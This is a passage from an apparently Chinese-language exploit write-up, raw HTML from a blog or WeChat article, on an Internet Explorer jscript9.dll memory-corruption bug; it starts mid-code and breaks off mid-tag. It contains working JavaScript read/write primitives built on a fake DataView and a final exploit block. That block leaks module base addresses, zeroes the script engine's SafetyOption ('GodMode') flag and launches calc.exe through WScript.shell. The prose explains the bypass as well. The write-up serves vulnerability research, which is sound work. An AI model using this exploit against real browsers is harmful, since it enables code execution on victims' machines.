26px;">0</span>, <span style="box-sizing: border-box;color: rgb(86, 182, 194);line-height: 26px;">true</span>);<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">return</span> val;<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;line-height: 26px;"><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">function</span> <span style="box-sizing: border-box;color: rgb(97, 174, 238);line-height: 26px;">read16</span>(<span style="box-sizing: border-box;line-height: 26px;">addr</span>) </span>{<br style="box-sizing: border-box;"/>    container[<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">7</span>] = addr;<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> val = <span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">DataView</span>.prototype.getUint16.call(fake_dv, <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>, <span style="box-sizing: border-box;color: rgb(86, 182, 194);line-height: 26px;">true</span>);<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">return</span> val;<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// aaw primitive</span><br style="box-sizing: border-box;"/><span style="box-sizing: border-box;line-height: 26px;"><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">function</span> <span style="box-sizing: border-box;color: rgb(97, 174, 238);line-height: 26px;">write8</span>(<span style="box-sizing: border-box;line-height: 26px;">addr, val</span>) </span>{<br style="box-sizing: border-box;"/>    container[<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">7</span>] = addr;<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">DataView</span>.prototype.setUint8.call(fake_dv, <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>, val, <span style="box-sizing: border-box;color: rgb(86, 182, 194);line-height: 26px;">true</span>);<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;line-height: 26px;"><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">function</span> <span style="box-sizing: border-box;color: rgb(97, 174, 238);line-height: 26px;">write32</span>(<span style="box-sizing: border-box;line-height: 26px;">addr, val</span>) </span>{<br style="box-sizing: border-box;"/>    container[<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">7</span>] = addr;<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">DataView</span>.prototype.setUint32.call(fake_dv, <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>, val, <span style="box-sizing: border-box;color: rgb(86, 182, 194);line-height: 26px;">true</span>);<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;line-height: 26px;"><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">function</span> <span style="box-sizing: border-box;color: rgb(97, 174, 238);line-height: 26px;">write_string</span>(<span style="box-sizing: border-box;line-height: 26px;">addr, s</span>) </span>{<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> bytes = [];<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> i = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>;<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">for</span> ( ; i &lt; s.length; ++ i ) {<br style="box-sizing: border-box;"/>        bytes[i] = s.charCodeAt(i);<br style="box-sizing: border-box;"/>    }<br style="box-sizing: border-box;"/>    bytes[i] = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>;<br style="box-sizing: border-box;"/>    write_bytes( addr, bytes );<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;line-height: 26px;"><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">function</span> <span style="box-sizing: border-box;color: rgb(97, 174, 238);line-height: 26px;">write_bytes</span>(<span style="box-sizing: border-box;line-height: 26px;">addr, bytes</span>) </span>{<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">for</span> ( <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> i = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>; i + <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">3</span> &lt; bytes.length; i += <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">4</span> ) {<br style="box-sizing: border-box;"/>        <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> value = (bytes[i] &amp; <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0xff</span>) | ((bytes[i+<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">1</span>] &amp; <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0xff</span>) &lt;&lt; <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">8</span>) |<br style="box-sizing: border-box;"/>                    ((bytes[i + <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">2</span>] &amp; <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0xff</span>) &lt;&lt; <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">16</span>) | ((bytes[i + <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">3</span>] &amp; <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0xff</span>) &lt;&lt; <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">24</span>);<br style="box-sizing: border-box;"/>                            <br style="box-sizing: border-box;"/>        write32( addr + i, value );<br style="box-sizing: border-box;"/>    }<br style="box-sizing: border-box;"/>            <br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">for</span> ( ; i &lt; bytes.length; ++ i ) {<br style="box-sizing: border-box;"/>        write8( addr + i, bytes[i] );<br style="box-sizing: border-box;"/>    }<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/></code></pre><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">有了任意地址读写原语，最后就是任意代码执行，根据[原创]IE JScript9.dll UAF漏洞(CVE-2020-1380)利用复现笔记，目前<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ie</code>从<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">aar</code>以及<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">aaw</code>到任意代码执行主要有三种方式：</p><ol style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: decimal;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">GodMode</code>：利用任意地址读写原语修改内存中的<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">GodMode</code>字段，即可使用<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ActiveX</code>调用任意代码与程序。</section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;">虚表劫持：劫持<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Js::JavascriptOperators::HasItem</code>函数内的一处虚表调用为<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">WinExec</code>来调用任意代码。</section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;">覆盖栈上返回地址：覆盖<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Js::JavascriptString::EntrySplit</code>和<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Js::JavascriptString::EntrySlice</code>函数的返回地址以劫持程序执行流。</section></li></ol><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">我这里只用了第一种方式，因此解释下第一种方式的利用原理，其余两种后续漏洞分析有机会再分析。</p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">在<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ie</code>中，决定不安全的ActiveX控件能否在没有提示的情况下运行仅仅依赖于单个标志，即<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ScriptEngine</code>对象中的<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">SafetyOption</code>标志，如果通过任意地址读写将此标志置为<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">0</code>，那么就能开启实例化和运行不安全<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ActiveX</code>控件的能力。详细原理可以查看Exploit IE Using Scriptable ActiveX Controls.pdf</p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">在Internet Explorer 11中微软通过引入一个0x20字节的hash来保护SafetyOption标志不被覆盖，以此缓解该技术的利用。但是通过查看<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Windows 10</code>当前<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">jscript9.dll</code>版本中的<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ScriptEngine::CanCreateObject</code>以及<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ScriptEngine::CanObjectRun</code>函数发现负责保护<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">hash</code>的<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ScriptEngine::GetSafetyOptions</code>函数已经不见了，因此<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">SafetyOption</code>标志将不再受到保护，写入单个空字节就能实现利用的技术又可行了。</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5234842015371477" data-s="300,640" style="" data-type="png" data-w="1171" src="https://wechat2rss.xlab.app/img-proxy/?k=56e893ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FRcjPiba6l3dpK850azfDgYpKUiaTwk44icKkmia0UDx1AZIlM8SEOJVkhVa8ChuDX99fXJn2qv4FnibJu3Oaze5UP2A%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 10px 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><figcaption style="box-sizing: border-box;margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;">CanObjectRun</figcaption></figure><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">最终执行<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">calc</code>的代码如下所示：</p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// leak address</span><br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// get dataview vtable</span><br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> dv_vtable_addr = read32(addr_of(dv))<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// get jscript9 module base</span><br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> jscript9_base_addr = get_module_base(dv_vtable_addr);<br style="box-sizing: border-box;"/>alert(<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;[+] jscript9 base addr: &#34;</span>+hex(jscript9_base_addr));<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// get kernel32 module base</span><br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> kernel32_base_addr = get_module_base_from_IAT(jscript9_base_addr, <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;KERNEL32&#34;</span>);<br style="box-sizing: border-box;"/>alert(<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;[+] kernel32 base addr: &#34;</span>+hex(kernel32_base_addr));<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// get winexec addr</span><br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// var winexec_addr = get_proc_address( kernel32_base_addr, &#39;WinExec&#39; );</span><br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// alert(&#34;[+] winexec func addr: &#34;+hex(winexec_addr));</span><br style="box-sizing: border-box;"/><span style="box-sizing: border-box;line-height: 26px;"><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">function</span> <span style="box-sizing: border-box;color: rgb(97, 174, 238);line-height: 26px;">run_shellcode</span>(<span style="box-sizing: border-box;line-height: 26px;"></span>) </span>{<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> shell = <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">new</span> ActiveXObject(<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;WScript.shell&#34;</span>);<br style="box-sizing: border-box;"/>    shell.Exec(<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;calc.exe&#34;</span>);<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// shell.Exec(&#34;notepad.exe&#34;);</span><br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// change the safe_mode flag</span><br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> leak_activex_addr = addr_of(ActiveXObject);<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> script_engine = read32(read32(leak_activex_addr + <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0x1c</span>) + <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0x04</span>);<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> safe_mode = script_engine + <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0x1F4</span>; <br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// turn on god mode</span><br style="box-sizing: border-box;"/>write32(safe_mode, <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>);<br style="box-sizing: border-box;"/>run_shellcode();<br style="box-sizing: border-box;"/></code></pre><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">弹出计算器。</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5593934288121314" data-s="300,640" style="" data-type="png" data-w="1187" src="https://wechat2rss.xlab.app/img-proxy/?k=7a034f0a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FRcjPiba6l3dpK850azfDgYpKUiaTwk44icKl3lT3s5xgTCAYXtRVwgQZ97TmbdHH1EQOA86qb8ia3nTmnrkIkIAtSw%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 10px 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><figcaption style="box-sizing: border-box;margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;">calc</figcaption></figure><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">当然，权限是<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">AppContainer</code>，后面还要过沙箱。</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.05088757396449704" data-s="300,640" style="" data-type="png" data-w="845" src="https://wechat2rss.xlab.app/img-proxy/?k=7fe17f71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FRcjPiba6l3dpK850azfDgYpKUiaTwk44icKsUGsNUtE4uB8bABhEgoVdicDJeXheStrfV05yv6PXFMaWicFzK4Wr9qw%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 10px 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><figcaption style="box-sizing: 